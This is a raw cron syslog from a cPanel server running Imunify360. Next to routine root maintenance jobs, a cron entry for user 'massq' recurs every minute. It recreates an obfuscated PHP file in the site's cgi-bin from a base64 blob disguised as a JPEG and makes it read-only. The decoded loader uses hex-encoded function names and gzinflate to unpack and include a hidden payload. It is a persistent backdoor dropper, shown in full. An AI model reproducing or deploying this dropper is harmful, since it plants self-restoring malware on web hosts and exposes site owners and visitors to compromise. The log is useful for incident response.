Aug 31 00:27:01 server CROND[5868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:28:01 server CROND[6009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:28:01 server CROND[6010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:28:01 server CROND[6011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:29:01 server CROND[6236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:29:01 server CROND[6237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:29:01 server CROND[6238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:30:01 server CROND[6380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:30:01 server CROND[6381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:30:01 server CROND[6386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:30:01 server CROND[6387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:30:01 server CROND[6388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 00:30:01 server CROND[6391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:30:01 server CROND[6389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:30:01 server CROND[6394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:30:01 server CROND[6390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:31:01 server CROND[6978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:31:01 server CROND[6979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:31:01 server CROND[6980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:32:01 server CROND[7103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:32:01 server CROND[7104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:32:01 server CROND[7105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:33:01 server CROND[7268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:33:01 server CROND[7267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:33:01 server CROND[7269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:34:01 server CROND[7706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:34:01 server CROND[7705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:34:01 server CROND[7707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:35:01 server CROND[8025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:35:01 server CROND[8026]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 00:35:01 server CROND[8029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:35:01 server CROND[8032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:35:01 server CROND[8036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:35:01 server CROND[8034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:35:01 server CROND[8038]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:35:01 server CROND[8035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:35:01 server CROND[8033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:36:01 server CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:36:01 server CROND[8926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:36:01 server CROND[8927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:37:01 server CROND[9292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:37:01 server CROND[9293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:37:01 server CROND[9294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:38:01 server CROND[9667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:38:01 server CROND[9668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:38:01 server CROND[9671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:39:01 server CROND[10137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:39:01 server CROND[10138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:39:01 server CROND[10136]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 00:39:01 server CROND[10139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
